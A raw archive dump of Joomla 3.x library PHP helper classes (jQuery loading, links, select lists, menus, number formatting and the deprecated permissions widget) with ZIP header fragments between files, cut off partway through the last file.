defined('JPATH_PLATFORM') or die;
/**
* Utility class for jQuery JavaScript behaviors
*
* @since 3.0
*/
abstract class JHtmlJquery
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the jQuery JavaScript framework into the document head
*
* If debugging mode is on an uncompressed version of jQuery is included
for easier debugging.
*
* @param boolean $noConflict True to load jQuery in noConflict mode
[optional]
* @param mixed $debug Is debugging mode on? [optional]
* @param boolean $migrate True to enable the jQuery Migrate plugin
*
* @return void
*
* @since 3.0
*/
public static function framework($noConflict = true, $debug = null,
$migrate = true)
{
// Only load once
if (!empty(static::$loaded[__METHOD__]))
{
return;
}
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = (boolean) JFactory::getConfig()->get('debug');
}
JHtml::_('script', 'jui/jquery.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
// Check if we are loading in noConflict
if ($noConflict)
{
JHtml::_('script', 'jui/jquery-noconflict.js',
array('version' => 'auto', 'relative'
=> true));
}
// Check if we are loading Migrate
if ($migrate)
{
JHtml::_('script', 'jui/jquery-migrate.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
}
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to load the jQuery UI JavaScript framework into the document
head
*
* If debugging mode is on an uncompressed version of jQuery UI is
included for easier debugging.
*
* @param array $components The jQuery UI components to load
[optional]
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function ui(array $components = array('core'),
$debug = null)
{
// Set an array containing the supported jQuery UI components handled by
this method
$supported = array('core', 'sortable');
// Include jQuery
static::framework();
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
// Load each of the requested components
foreach ($components as $component)
{
// Only attempt to load the component if it's supported in core and
hasn't already been loaded
if (in_array($component, $supported) &&
empty(static::$loaded[__METHOD__][$component]))
{
JHtml::_('script', 'jui/jquery.ui.' . $component .
'.min.js', array('version' => 'auto',
'relative' => true, 'detectDebug' => $debug));
static::$loaded[__METHOD__][$component] = true;
}
}
return;
}
/**
* Auto set CSRF token to ajaxSetup so all jQuery ajax call will contains
CSRF token.
*
* @param string $name The CSRF meta tag name.
*
* @return void
*
* @throws \InvalidArgumentException
*
* @since 3.8.0
*/
public static function token($name = 'csrf.token')
{
// Only load once
if (!empty(static::$loaded[__METHOD__][$name]))
{
return;
}
static::framework();
JHtml::_('form.csrf', $name);
$doc = JFactory::getDocument();
$doc->addScriptDeclaration(
<<<JS
;(function ($) {
$.ajaxSetup({
headers: {
'X-CSRF-Token': Joomla.getOptions('$name')
}
});
})(jQuery);
JS
);
static::$loaded[__METHOD__][$name] = true;
}
}
PK〈[^�~�BB'html/language/en-GB/en-GB.jhtmldate.ininu�[���;
Joomla! Project
; Copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8
JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago"
JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago"
JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago"
JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago"
JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago"
JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago"
JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago"
JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago"
JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago"
JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago"
JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago"
JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago"
JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago"
PK〈[���a
html/links.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for icons.
*
* @since 3.2
*/
abstract class JHtmlLinks
{
/**
* Method to generate html code for groups of lists of links
*
* @param array $groupsOfLinks Array of links
*
* @return string
*
* @since 3.2
*/
public static function linksgroups($groupsOfLinks)
{
$html = array();
if (count($groupsOfLinks) > 0)
{
$layout = new JLayoutFile('joomla.links.groupsopen');
$html[] = $layout->render('');
foreach ($groupsOfLinks as $title => $links)
{
if (isset($links[0]['separategroup']))
{
$layout = new JLayoutFile('joomla.links.groupseparator');
$html[] = $layout->render($title);
}
$layout = new JLayoutFile('joomla.links.groupopen');
$htmlHeader = $layout->render($title);
$htmlLinks = JHtml::_('links.links', $links);
if ($htmlLinks != '')
{
$html[] = $htmlHeader;
$html[] = $htmlLinks;
$layout = new JLayoutFile('joomla.links.groupclose');
$html[] = $layout->render('');
}
}
$layout = new JLayoutFile('joomla.links.groupsclose');
$html[] = $layout->render('');
}
return implode($html);
}
/**
* Method to generate html code for a list of links
*
* @param array $links Array of links
*
* @return string
*
* @since 3.2
*/
public static function links($links)
{
$html = array();
foreach ($links as $link)
{
$html[] = JHtml::_('links.link', $link);
}
return implode($html);
}
/**
* Method to generate html code for a single link
*
* @param array $link link properties
*
* @return string
*
* @since 3.2
*/
public static function link($link)
{
if (isset($link['access']))
{
if (is_bool($link['access']))
{
if ($link['access'] == false)
{
return '';
}
}
else
{
// Get the user object to verify permissions
$user = JFactory::getUser();
// Take each pair of permission, context values.
for ($i = 0, $n = count($link['access']); $i < $n; $i +=
2)
{
if (!$user->authorise($link['access'][$i],
$link['access'][$i + 1]))
{
return '';
}
}
}
}
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('joomla.links.link');
return $layout->render($link);
}
}
PK〈[�bH���
html/list.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* Utility class for creating different select lists
*
* @since 1.5
*/
abstract class JHtmlList
{
/**
* Build the select list to choose an image
*
* @param string $name The name of the field
* @param string $active The selected item
* @param string $javascript Alternative javascript
* @param string $directory Directory the images are stored in
* @param string $extensions Allowed extensions
*
* @return array Image names
*
* @since 1.5
*/
public static function images($name, $active = null, $javascript = null,
$directory = null, $extensions = 'bmp|gif|jpg|png')
{
if (!$directory)
{
$directory = '/images/';
}
if (!$javascript)
{
$javascript = "onchange=\"if (document.forms.adminForm."
. $name
. ".options[selectedIndex].value!='')
{document.imagelib.src='..$directory' +
document.forms.adminForm." . $name
. ".options[selectedIndex].value} else
{document.imagelib.src='media/system/images/blank.png'}\"";
}
$imageFiles = new DirectoryIterator(JPATH_SITE . '/' .
$directory);
$images = array(JHtml::_('select.option', '',
JText::_('JOPTION_SELECT_IMAGE')));
foreach ($imageFiles as $file)
{
$fileName = $file->getFilename();
if (!$file->isFile())
{
continue;
}
if (preg_match('#(' . $extensions . ')$#',
$fileName))
{
$images[] = JHtml::_('select.option', $fileName);
}
}
$images = JHtml::_(
'select.genericlist',
$images,
$name,
array(
'list.attr' => 'class="inputbox"
size="1" ' . $javascript,
'list.select' => $active,
)
);
return $images;
}
/**
* Returns an array of options
*
* @param string $query SQL with 'ordering' AS value and
'name field' AS text
* @param integer $chop The length of the truncated headline
*
* @return array An array of objects formatted for JHtml list processing
*
* @since 1.5
*/
public static function genericordering($query, $chop = 30)
{
$db = JFactory::getDbo();
$options = array();
$db->setQuery($query);
$items = $db->loadObjectList();
if (empty($items))
{
$options[] = JHtml::_('select.option', 1,
JText::_('JOPTION_ORDER_FIRST'));
return $options;
}
$options[] = JHtml::_('select.option', 0, '0 ' .
JText::_('JOPTION_ORDER_FIRST'));
for ($i = 0, $n = count($items); $i < $n; $i++)
{
$items[$i]->text = JText::_($items[$i]->text);
if (StringHelper::strlen($items[$i]->text) > $chop)
{
$text = StringHelper::substr($items[$i]->text, 0, $chop) .
'...';
}
else
{
$text = $items[$i]->text;
}
$options[] = JHtml::_('select.option', $items[$i]->value,
$items[$i]->value . '. ' . $text);
}
$options[] = JHtml::_('select.option', $items[$i - 1]->value
+ 1, ($items[$i - 1]->value + 1) . ' ' .
JText::_('JOPTION_ORDER_LAST'));
return $options;
}
/**
* Build the select list for Ordering derived from a query
*
* @param integer $name The scalar value
* @param string $query The query
* @param string $attribs HTML tag attributes
* @param string $selected The selected item
* @param integer $neworder 1 if new and first, -1 if new and last, 0
or null if existing item
*
* @return string HTML markup for the select list
*
* @since 1.6
*/
public static function ordering($name, $query, $attribs = null, $selected
= null, $neworder = null)
{
if (empty($attribs))
{
$attribs = 'class="inputbox" size="1"';
}
if (empty($neworder))
{
$orders = JHtml::_('list.genericordering', $query);
$html = JHtml::_('select.genericlist', $orders, $name,
array('list.attr' => $attribs, 'list.select' =>
(int) $selected));
}
else
{
if ($neworder > 0)
{
$text = JText::_('JGLOBAL_NEWITEMSLAST_DESC');
}
elseif ($neworder <= 0)
{
$text = JText::_('JGLOBAL_NEWITEMSFIRST_DESC');
}
$html = '<input type="hidden" name="' .
$name . '" value="' . (int) $selected . '"
/><span class="readonly">' . $text .
'</span>';
}
return $html;
}
/**
* Select list of active users
*
* @param string $name The name of the field
* @param string $active The active user
* @param integer $nouser If set include an option to select no
user
* @param string $javascript Custom javascript
* @param string $order Specify a field to order by
*
* @return string The HTML for a list of users list of users
*
* @since 1.5
*/
public static function users($name, $active, $nouser = 0, $javascript =
null, $order = 'name')
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('u.id AS value, u.name AS text')
->from('#__users AS u')
->join('LEFT', '#__user_usergroup_map AS m ON
m.user_id = u.id')
->where('u.block = 0')
->order($order)
->group('u.id');
$db->setQuery($query);
if ($nouser)
{
$users[] = JHtml::_('select.option', '0',
JText::_('JOPTION_NO_USER'));
$users = array_merge($users, $db->loadObjectList());
}
else
{
$users = $db->loadObjectList();
}
$users = JHtml::_(
'select.genericlist',
$users,
$name,
array(
'list.attr' => 'class="inputbox"
size="1" ' . $javascript,
'list.select' => $active,
)
);
return $users;
}
/**
* Select list of positions - generally used for location of images
*
* @param string $name Name of the field
* @param string $active The active value
* @param string $javascript Alternative javascript
* @param boolean $none Null if not assigned
* @param boolean $center Null if not assigned
* @param boolean $left Null if not assigned
* @param boolean $right Null if not assigned
* @param boolean $id Null if not assigned
*
* @return array The positions
*
* @since 1.5
*/
public static function positions($name, $active = null, $javascript =
null, $none = true, $center = true, $left = true, $right = true,
$id = false)
{
$pos = array();
if ($none)
{
$pos[''] = JText::_('JNONE');
}
if ($center)
{
$pos['center'] = JText::_('JGLOBAL_CENTER');
}
if ($left)
{
$pos['left'] = JText::_('JGLOBAL_LEFT');
}
if ($right)
{
$pos['right'] = JText::_('JGLOBAL_RIGHT');
}
$positions = JHtml::_(
'select.genericlist', $pos, $name,
array(
'id' => $id,
'list.attr' => 'class="inputbox"
size="1"' . $javascript,
'list.select' => $active,
'option.key' => null,
)
);
return $positions;
}
}
PK〈[9E�p&p&
html/menu.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with menu select lists
*
* @since 1.5
*/
abstract class JHtmlMenu
{
/**
* Cached array of the menus.
*
* @var array
* @since 1.6
*/
protected static $menus = array();
/**
* Cached array of the menus items.
*
* @var array
* @since 1.6
*/
protected static $items = array();
/**
* Get a list of the available menus.
*
* @param int $clientId The client id
*
* @return array
*
* @since 1.6
*/
public static function menus($clientId = 0)
{
$key = serialize($clientId);
if (!isset(static::$menus[$key]))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->qn(array('id', 'menutype',
'title', 'client_id'), array('id',
'value', 'text', 'client_id')))
->from($db->quoteName('#__menu_types'))
->order('client_id, title');
if (isset($clientId))
{
$query->where('client_id = ' . (int) $clientId);
}
static::$menus[$key] = $db->setQuery($query)->loadObjectList();
}
return static::$menus[$key];
}
/**
* Returns an array of menu items grouped by menu.
*
* @param array $config An array of configuration options [published,
checkacl, clientid].
*
* @return array
*
* @since 1.6
*/
public static function menuItems($config = array())
{
$key = serialize($config);
if (empty(static::$items[$key]))
{
// B/C - not passed = 0, null can be passed for both clients
$clientId = array_key_exists('clientid', $config) ?
$config['clientid'] : 0;
$menus = static::menus($clientId);
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.title AS text, a.level, a.menutype,
a.client_id')
->from('#__menu AS a')
->where('a.parent_id > 0');
// Filter on the client id
if (isset($clientId))
{
$query->where('a.client_id = ' . (int) $clientId);
}
// Filter on the published state
if (isset($config['published']))
{
if (is_numeric($config['published']))
{
$query->where('a.published = ' . (int)
$config['published']);
}
elseif ($config['published'] === '')
{
$query->where('a.published IN (0,1)');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Collate menu items based on menutype
$lookup = array();
foreach ($items as &$item)
{
if (!isset($lookup[$item->menutype]))
{
$lookup[$item->menutype] = array();
}
$lookup[$item->menutype][] = &$item;
// Translate the menu item title when client is administrator
if ($clientId === 1)
{
$item->text = JText::_($item->text);
}
$item->text = str_repeat('- ', $item->level) .
$item->text;
}
static::$items[$key] = array();
$user = JFactory::getUser();
$aclcheck = !empty($config['checkacl']) ? (int)
$config['checkacl'] : 0;
foreach ($menus as &$menu)
{
if ($aclcheck)
{
$action = $aclcheck == $menu->id ? 'edit' :
'create';
if (!$user->authorise('core.' . $action,
'com_menus.menu.' . $menu->id))
{
continue;
}
}
// Start group:
static::$items[$key][] = JHtml::_('select.optgroup',
$menu->text);
// Special "Add to this Menu" option:
static::$items[$key][] = JHtml::_('select.option',
$menu->value . '.1',
JText::_('JLIB_HTML_ADD_TO_THIS_MENU'));
// Menu items:
if (isset($lookup[$menu->value]))
{
foreach ($lookup[$menu->value] as &$item)
{
static::$items[$key][] = JHtml::_('select.option',
$menu->value . '.' . $item->value, $item->text);
}
}
// Finish group:
static::$items[$key][] = JHtml::_('select.optgroup',
$menu->text);
}
}
return static::$items[$key];
}
/**
* Displays an HTML select list of menu items.
*
* @param string $name The name of the control.
* @param string $selected The value of the selected option.
* @param string $attribs Attributes for the control.
* @param array $config An array of options for the control [id,
published, checkacl, clientid].
*
* @return string
*
* @since 1.6
*/
public static function menuItemList($name, $selected = null, $attribs =
null, $config = array())
{
static $count;
$options = static::menuItems($config);
return JHtml::_(
'select.genericlist', $options, $name,
array(
'id' => isset($config['id']) ?
$config['id'] : 'assetgroups_' . (++$count),
'list.attr' => $attribs === null ?
'class="inputbox" size="1"' : $attribs,
'list.select' => (int) $selected,
'list.translate' => false,
)
);
}
/**
* Build the select list for Menu Ordering
*
* @param object &$row The row object
* @param integer $id The id for the row. Must exist to enable menu
ordering
*
* @return string
*
* @since 1.5
*/
public static function ordering(&$row, $id)
{
if ($id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('ordering AS value, title AS text')
->from($db->quoteName('#__menu'))
->where($db->quoteName('menutype') . ' = ' .
$db->quote($row->menutype))
->where($db->quoteName('parent_id') . ' = ' .
(int) $row->parent_id)
->where($db->quoteName('published') . ' !=
-2')
->order('ordering');
$order = JHtml::_('list.genericordering', $query);
$ordering = JHtml::_(
'select.genericlist', $order, 'ordering',
array('list.attr' => 'class="inputbox"
size="1"', 'list.select' => (int)
$row->ordering)
);
}
else
{
$ordering = '<input type="hidden"
name="ordering" value="' . $row->ordering .
'" />' . JText::_('JGLOBAL_NEWITEMSLAST_DESC');
}
return $ordering;
}
/**
* Build the multiple select list for Menu Links/Pages
*
* @param boolean $all True if all can be selected
* @param boolean $unassigned True if unassigned can be selected
* @param int $clientId The client id
*
* @return string
*
* @since 1.5
*/
public static function linkOptions($all = false, $unassigned = false,
$clientId = 0)
{
$db = JFactory::getDbo();
// Get a list of the menu items
$query = $db->getQuery(true)
->select('m.id, m.parent_id, m.title, m.menutype,
m.client_id')
->from($db->quoteName('#__menu') . ' AS m')
->where($db->quoteName('m.published') . ' =
1')
->order('m.client_id, m.menutype, m.parent_id');
if (isset($clientId))
{
$query->where('m.client_id = ' . (int) $clientId);
}
$db->setQuery($query);
$mitems = $db->loadObjectList();
if (!$mitems)
{
$mitems = array();
}
// Establish the hierarchy of the menu
$children = array();
// First pass - collect children
foreach ($mitems as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : array();
$list[] = $v;
$children[$pt] = $list;
}
// Second pass - get an indent list of the items
$list = static::treerecurse((int) $mitems[0]->parent_id, '',
array(), $children, 9999, 0, 0);
// Code that adds menu name to Display of Page(s)
$mitems = array();
if ($all | $unassigned)
{
$mitems[] = JHtml::_('select.option',
'<OPTGROUP>', JText::_('JOPTION_MENUS'));
if ($all)
{
$mitems[] = JHtml::_('select.option', 0,
JText::_('JALL'));
}
if ($unassigned)
{
$mitems[] = JHtml::_('select.option', -1,
JText::_('JOPTION_UNASSIGNED'));
}
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
$lastMenuType = null;
$tmpMenuType = null;
foreach ($list as $list_a)
{
if ($list_a->menutype != $lastMenuType)
{
if ($tmpMenuType)
{
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
$mitems[] = JHtml::_('select.option',
'<OPTGROUP>', $list_a->menutype);
$lastMenuType = $list_a->menutype;
$tmpMenuType = $list_a->menutype;
}
$mitems[] = JHtml::_('select.option', $list_a->id,
$list_a->title);
}
if ($lastMenuType !== null)
{
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
return $mitems;
}
/**
* Build the list representing the menu tree
*
* @param integer $id Id of the menu item
* @param string $indent The indentation string
* @param array $list The list to process
* @param array &$children The children of the current item
* @param integer $maxlevel The maximum number of levels in the tree
* @param integer $level The starting level
* @param int $type Set the type of spacer to use. Use 1 for
|_ or 0 for -
*
* @return array
*
* @since 1.5
*/
public static function treerecurse($id, $indent, $list, &$children,
$maxlevel = 9999, $level = 0, $type = 1)
{
if ($level <= $maxlevel && isset($children[$id]) &&
is_array($children[$id]))
{
if ($type)
{
$pre = '<sup>|_</sup> ';
$spacer =
'.      ';
}
else
{
$pre = '- ';
$spacer = '  ';
}
foreach ($children[$id] as $v)
{
$id = $v->id;
if ($v->parent_id == 0)
{
$txt = $v->title;
}
else
{
$txt = $pre . $v->title;
}
$list[$id] = $v;
$list[$id]->treename = $indent . $txt;
if (isset($children[$id]) && is_array($children[$id]))
{
$list[$id]->children = count($children[$id]);
$list = static::treerecurse($id, $indent . $spacer,
$list, $children, $maxlevel, $level + 1, $type);
}
else
{
$list[$id]->children = 0;
}
}
}
return $list;
}
}
PK〈[���Bhtml/number.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML helper class for rendering numbers.
*
* @since 1.6
*/
abstract class JHtmlNumber
{
/**
* Converts bytes to more distinguishable formats such as:
* kilobytes, megabytes, etc.
*
* By default, the proper format will automatically be chosen.
* However, one of the allowed unit types (viz. 'b',
'kB', 'MB', 'GB', 'TB',
'PB', 'EB', 'ZB', 'YB') may also be
used instead.
* IEC standard unit types ('KiB', 'MiB',
'GiB', 'TiB', 'PiB', 'EiB',
'ZiB', 'YiB') can be used as well.
*
* @param string $bytes The number of bytes. Can be either
numeric or suffixed format: 32M, 60K, 12G or 812b
* @param string $unit The type of unit to return, few special
values are:
* Blank string '' for no unit,
* 'auto' to choose automatically
(default)
* 'binary' to choose
automatically but use binary unit prefix
* @param integer $precision The number of digits to be used after the
decimal place.
* @param bool $iec Whether to be aware of IEC standards. IEC
prefixes are always acceptable in input.
* When IEC is ON: KiB = 1024 B, KB = 1000
B
* When IEC is OFF: KiB = 1024 B, KB = 1024
B
*
* @return string The number of bytes in the proper units.
*
* @since 1.6
* @link https://en.wikipedia.org/wiki/Binary_prefix
*/
public static function bytes($bytes, $unit = 'auto', $precision
= 2, $iec = false)
{
/*
* Allowed 123.45, 123.45 M, 123.45 Mi, 123.45 MB, 123.45 MiB,
1.2345E+12MB, 1.2345E+12 MB , 1.2345E+12 MiB etc.
* i.e. – Any number in decimal digits or in sci. notation, optional
space, optional 1-3 letter unit suffix
*/
if (is_numeric($bytes))
{
$oBytes = $bytes;
}
else
{
preg_match('/(.*?)\s?((?:[KMGTPEZY]i?)?B?)$/i', trim($bytes),
$matches);
list(, $oBytes, $oUnit) = $matches;
if ($oUnit && is_numeric($oBytes))
{
$oBase = $iec && strpos($oUnit, 'i') === false ?
1000 : 1024;
$factor = pow($oBase, stripos('BKMGTPEZY', $oUnit[0]));
$oBytes *= $factor;
}
}
if (empty($oBytes) || !is_numeric($oBytes))
{
return 0;
}
$oBytes = round($oBytes);
// If no unit is requested return early
if ($unit === '')
{
return (string) $oBytes;
}
$stdSuffixes = array('b', 'kB', 'MB',
'GB', 'TB', 'PB', 'EB',
'ZB', 'YB');
$iecSuffixes = array('b', 'KiB', 'MiB',
'GiB', 'TiB', 'PiB', 'EiB',
'ZiB', 'YiB');
// User supplied method
if (in_array($unit, $iecSuffixes))
{
$base = 1024;
$i = array_search($unit, $iecSuffixes, true);
$suffix = $unit;
}
elseif (in_array($unit, $stdSuffixes))
{
$base = $iec ? 1000 : 1024;
$i = array_search($unit, $stdSuffixes, true);
$suffix = $unit;
}
elseif ($unit === 'binary')
{
$base = 1024;
$i = (int) floor(log($oBytes, $base));
$suffix = $iecSuffixes[$i];
}
else
{
// Default method
$base = $iec ? 1000 : 1024;
$i = (int) floor(log($oBytes, $base));
$suffix = $stdSuffixes[$i];
}
return number_format(
round($oBytes / pow($base, $i), (int) $precision), (int) $precision,
JText::_('DECIMALS_SEPARATOR'),
JText::_('THOUSANDS_SEPARATOR')
) . ' ' . $suffix;
}
}
PK〈[
/mA A html/rules.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
JLog::add('JHtmlRules is deprecated.', JLog::WARNING,
'deprecated');
/**
* Extended Utility class for all HTML drawing classes.
*
* @since 1.6
* @deprecated 4.0
*/
abstract class JHtmlRules
{
/**
* Creates the HTML for the permissions widget
*
* @param array $actions Array of action objects
* @param integer $assetId Id of a specific asset to create a widget
for.
* @param integer $parent Id of the parent of the asset
* @param string $control The form control
* @param string $idPrefix Prefix for the ids assigned to specific
action-group pairs
*
* @return string HTML for the permissions widget
*
* @see JAccess
* @see JFormFieldRules
* @since 1.6
* @deprecated 4.0
*/
public static function assetFormWidget($actions, $assetId = null, $parent
= null, $control = 'jform[rules]', $idPrefix =
'jform_rules')
{
$images = static::_getImagesArray();
// Get the user groups.
$groups = static::_getUserGroups();
// Get the incoming inherited rules as well as the asset specific rules.
$inheriting = JAccess::getAssetRules($parent ?:
static::_getParentAssetId($assetId), true);
$inherited = JAccess::getAssetRules($assetId, true);
$rules = JAccess::getAssetRules($assetId);
$html = array();
$html[] = '<div class="acl-options">';
$html[] = JHtml::_('tabs.start', 'acl-rules-' .
$assetId, array('useCookie' => 1));
$html[] = JHtml::_('tabs.panel',
JText::_('JLIB_HTML_ACCESS_SUMMARY'), 'summary');
$html[] = ' <p>' .
JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC') .
'</p>';
$html[] = ' <table class="aclsummary-table"
summary="' . JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC')
. '">';
$html[] = ' <caption>' .
JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION') .
'</caption>';
$html[] = ' <tr>';
$html[] = ' <th class="col1 hidelabeltxt">'
. JText::_('JLIB_RULES_GROUPS') . '</th>';
foreach ($actions as $i => $action)
{
$html[] = ' <th class="col' . ($i + 2) .
'">' . JText::_($action->title) .
'</th>';
}
$html[] = ' </tr>';
foreach ($groups as $i => $group)
{
$html[] = ' <tr class="row' . ($i % 2) .
'">';
$html[] = ' <td class="col1">' .
$group->text . '</td>';
foreach ($actions as $j => $action)
{
$html[] = ' <td class="col' . ($j + 2) .
'">'
. ($assetId ? ($inherited->allow($action->name,
$group->identities) ? $images['allow'] :
$images['deny'])
: ($inheriting->allow($action->name, $group->identities) ?
$images['allow'] : $images['deny'])) .
'</td>';
}
$html[] = ' </tr>';
}
$html[] = ' </table>';
foreach ($actions as $action)
{
$actionTitle = JText::_($action->title);
$actionDesc = JText::_($action->description);
$html[] = JHtml::_('tabs.panel', $actionTitle,
$action->name);
$html[] = ' <p>' . $actionDesc .
'</p>';
$html[] = ' <table class="aclmodify-table"
summary="' . strip_tags($actionDesc) . '">';
$html[] = ' <caption>' .
JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL') . '
' . $actionTitle . ' '
. JText::_('JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE') .
'</caption>';
$html[] = ' <tr>';
$html[] = ' <th class="col1 hidelabeltxt">'
. JText::_('JLIB_RULES_GROUP') . '</th>';
$html[] = ' <th class="col2">' .
JText::_('JLIB_RULES_INHERIT') . '</th>';
$html[] = ' <th class="col3 hidelabeltxt">'
. JText::_('JMODIFY') . '</th>';
$html[] = ' <th class="col4">' .
JText::_('JCURRENT') . '</th>';
$html[] = ' </tr>';
foreach ($groups as $i => $group)
{
$selected = $rules->allow($action->name, $group->value);
$html[] = ' <tr class="row' . ($i % 2) .
'">';
$html[] = ' <td class="col1">' .
$group->text . '</td>';
$html[] = ' <td class="col2">'
. ($inheriting->allow($action->name, $group->identities) ?
$images['allow-i'] : $images['deny-i']) .
'</td>';
$html[] = ' <td class="col3">';
$html[] = ' <select id="' . $idPrefix .
'_' . $action->name . '_' . $group->value
. '" class="inputbox" size="1"
name="' . $control . '[' . $action->name .
'][' . $group->value . ']" title="'
. JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
$actionTitle, $group->text) . '">';
$html[] = ' <option value=""' . ($selected
=== null ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_INHERIT') .
'</option>';
$html[] = ' <option value="1"' . ($selected
=== true ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_ALLOWED') .
'</option>';
$html[] = ' <option value="0"' . ($selected
=== false ? ' selected="selected"' : '') .
'>'
. JText::_('JLIB_RULES_DENIED') .
'</option>';
$html[] = ' </select>';
$html[] = ' </td>';
$html[] = ' <td class="col4">'
. ($assetId ? ($inherited->allow($action->name,
$group->identities) ? $images['allow'] :
$images['deny'])
: ($inheriting->allow($action->name, $group->identities) ?
$images['allow'] : $images['deny'])) .
'</td>';
$html[] = ' </tr>';
}
$html[] = ' </table>';
}
$html[] = JHtml::_('tabs.end');
// Build the footer with legend and special purpose buttons.
$html[] = ' <div class="clr"></div>';
$html[] = ' <ul class="acllegend fltlft">';
$html[] = ' <li class="acl-allowed">' .
JText::_('JLIB_RULES_ALLOWED') . '</li>';
$html[] = ' <li class="acl-denied">' .
JText::_('JLIB_RULES_DENIED') . '</li>';
$html[] = ' </ul>';
$html[] = '</div>';
return implode("\n", $html);
}
/**
* Get the id of the parent asset
*
* @param integer $assetId The asset for which the parentid will be
returned
*
* @return integer The id of the parent asset
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getParentAssetId($assetId)
{
// Get a database object.
$db = JFactory::getDbo();
$query = $db->getQuery(true);
// Get the user groups from the database.
$query->select($db->quoteName('parent_id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('id') . ' = ' . (int)
$assetId);
$db->setQuery($query);
return (int) $db->loadResult();
}
/**
* Get the user groups
*
* @return array Array of user groups
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getUserGroups()
{
// Get a database object.
$db = JFactory::getDbo();
// Get the user groups from the database.
$db->setQuery(
'SELECT a.id AS value, a.title AS text, b.id as parent'
. ' FROM #__usergroups AS a LEFT JOIN #__usergroups AS b ON a.lft
>= b.lft AND a.rgt <= b.rgt'
. ' ORDER BY a.lft ASC, b.lft ASC'
);
$result = $db->loadObjectList();
$options = array();
// Pre-compute additional values.
foreach ($result as $option)
{
$end = end($options);
if ($end === false || $end->value != $option->value)
{
$end = $option;
$end->level = 0;
$options[] = $end;
}
else
{
$end->level++;
}
$end->identities[] = $option->parent;
}
return $options;
}
/**
* Get the array of images associate with specific permissions
*
* @return array An associative array of permissions and images
*
* @since 1.6
* @deprecated 4.0
*/
protected static function _getImagesArray()
{
$images['allow-l'] = '<label
class="icon-16-allow" title="' .
JText::_('JLIB_RULES_ALLOWED') . '">' .
JText::_('JLIB_RULES_ALLOWED')
. '</label>';
$images['deny-l'] = '<label
class="icon-16-deny" title="' .
JText::_('JLIB_RULES_DENIED') . '">' .
JText::_('JLIB_RULES_DENIED') . '</label>';
$images['allow'] = '<a class="icon-16-allow"
title="' . JText::_('JLIB_RULES_ALLOWED') .
'"> </a>';
$images['deny'] = '<a class="icon-16-deny"
title="' . JText::_('JLIB_RULES_DENIED') .
'"> </a>';
$images['allow-i'] = '<a
class="icon-16-allowinactive" title="' .
JText::_('JRULE_ALLOWED_INHERITED') . '">
</a>';
$images['deny-i'] = '<a
class="icon-16-denyinactive" title="' .
